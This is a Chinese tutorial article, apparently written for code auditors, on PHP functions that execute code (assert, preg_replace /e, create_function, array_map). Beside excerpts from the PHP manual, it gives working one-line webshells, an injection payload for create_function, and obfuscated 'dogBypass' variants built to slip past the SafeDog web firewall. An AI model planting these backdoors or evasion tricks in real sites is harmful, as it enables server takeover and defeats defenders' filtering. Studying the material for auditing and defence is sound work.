前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >学会代码执行函数,让老哥带你勇闯天涯!

学会代码执行函数,让老哥带你勇闯天涯!

作者头像
漏斗社区
发布2018-03-28 11:37:19
1.1K0
发布2018-03-28 11:37:19
举报
文章被收录于专栏:漏斗社区漏斗社区

最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。

本次将分为两篇进行讲解:

本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map()

下篇涉及函数:call_user_func()、call_user_func_array(),array_filter,usort,uasort()

0x00 eval

eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:<?php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。

0x01 assert函数

最常用的回调函数,验证assert后面的括号里的代码是否为true的函数。如果表达式不为true,那么则会给一个warning的警告

如:<?php assert('1==2');?>

则会提醒:PHP Warning: assert(): Assertion “1==2” failed in /usercode/file.php on line 1。

【利用示例代码】

代码语言:javascript
复制
<?php
//?cmd=phpinfo()
assert($_GET['cmd']);
?>
【dogBypass】
<?php
//cmd=phpinfo()
function cl  (){
return 'assert';
}
$a = cl();
$a($_POST['cmd']);
?>

assert_options 用于设置/获取断言的各种标志。

``````

【示例代码】

代码语言:javascript
复制
<?php
// 处理断言失败时的函数
function assert_failure()
{
    echo 'Assert failed';
}
// 我们的测试函数
function test_assert($parameter)
{
    assert(is_bool($parameter));
}
// 设置断言标志
assert_options(ASSERT_ACTIVE,   true);
assert_options(ASSERT_BAIL,     true);
assert_options(ASSERT_WARNING,  false);
assert_options(ASSERT_CALLBACK, 'assert_failure');
// 让一个断言会失败
test_assert(1);
// 由于 ASSERT_BAIL 是 true,这里永远也到不了
echo 'Never reached';
?> 

0x02 preg_replace函数 : php<=5.5

执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

搜索subject中匹配pattern的部分, 以replacement进行替换。

当第一个参数的正则表达式有e修正符的时候,第二个参数的字符串当做PHP代码执行。

源自官方的解释:

e (PREG_REPLACE_EVAL)

Warning

This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义。

【示例代码】

代码语言:javascript
复制
<?php
//?cmd=phpinfo()
echo preg_replace("/test/e",$_GET["cmd"],"jutsttest");
?>

0x03 creat_function函数

用于创建匿名函数, 使用了eval的操作存在某些安全性问题。

源自官方的解释

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

语法:

string create_function ( string $args , string $code )

参数:

args

The function arguments.

code

The function code.

Caution

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

返回值:

Returns a unique function name as a string, or FALSE on error。

【用法理解】

代码语言:javascript
复制
<?php
$foo = create_function( '$x', 'return $x * 2;' );
echo $foo( 10 );
?>
相当于:
<?php
function foo ($x){
 return $x *= 2;
};
echo foo( 10 );
?> 

create_function的实现步骤:(参考自:http://www.laruence.com/2010/06/20/1602.html 讲解更为清晰)

1. 获取参数, 函数体

2. 拼凑一个"function __lambda_func (参数) { 函数体;} "的字符串

3. eval之

4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错

5. 定义一个函数名:"\000_lambda_" . count(anonymous_functions)++

6. 用新的函数名替换__lambda_func

7. 返回新的函数名

问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。【场景:直接写入恶意代码】

详细介绍:https://www.t00ls.net/viewthread.php?tid=20774

国文参考:http://lovexm.blog.51cto.com/3567383/1743442

外文参考:https://ttmm.io/tech/php-security-lambdas/

利用示例代码 &【dogBypass】:

代码语言:javascript
复制
<?php
//post:name1=Thinking&name2=JoeVatte;}phpinfo();/*
$name1 = $_POST['name1'];
$name2 = $_POST['name2'];
$str = 'return'.$name1." & ".$name2.';';
echo $str.'<br >';
$newfunc = create_function('$name1',$str);

问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行eval得到函数体,在执行该函数。【场景:找到相应函数所在位置,审查是否有可以利用的地方】

源自官方的解释:

Using anonymous functions as callback functions

代码语言:javascript
复制
<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>

以上例程会输出:

代码语言:javascript
复制
Array
 (
   [0] => the mango
   [1] => a mango
   [2] => that mango
   [3] => this mango
 )

示例代码,例子不好没想到怎么构造:

代码语言:javascript
复制
<?php
function evil($evil)
{
    echo $evil.':test | ';
}
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', 'evil($v);'));
print_r($av);
?>

0x04 array_map函数

源自官方的解释:

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map — 为数组的每个元素应用回调函数

说明:

array array_map ( callable $callback , array $array1 [, array $... ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

参数:

callback

回调函数,应用到每个数组里的每个元素。

array1

数组,遍历运行 callback 函数。

数组列表,每个都遍历运行 callback 函数。

返回值

返回数组,包含 callback 函数处理之后 array1 的所有元素。

Example #1 array_map() 例子

代码语言:javascript
复制
<?php
function cube($n)
{
    return($n * $n * $n);
}
$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?> 

这使得 $b 成为:

Array ( [0] => 1 [1] => 8 [2] => 27 [3] => 64 [4] => 125 )

【利用示例代码】

代码语言:javascript
复制
<?php
//post:func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
$bad_array[0]=$bad_cmd;
$new_array=array_map($bad_func,$bad_array);
//print_r($new_array);
?>

【dogBypass】

代码语言:javascript
复制
<?php
//post:func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
$bad_array[0]=$bad_cmd;
$func_evil=trim(' a r ra y_ma p  ');
$func_evil =str_replace(" ", "", $func_evil);
$new_array=$func_evil($bad_func,$bad_array);
//print_r($new_array);
?>

总结:

希望本篇可以帮助大家在代码审计中理清楚需要重点关注的危险函数,当然大伙如果有其他代码执行函数也可提出,一起讨论交流,下篇将会继续补充其他代码执行函数,顺带说下有些时候dogBypass 并没有想象中那么复杂 :)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-09-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档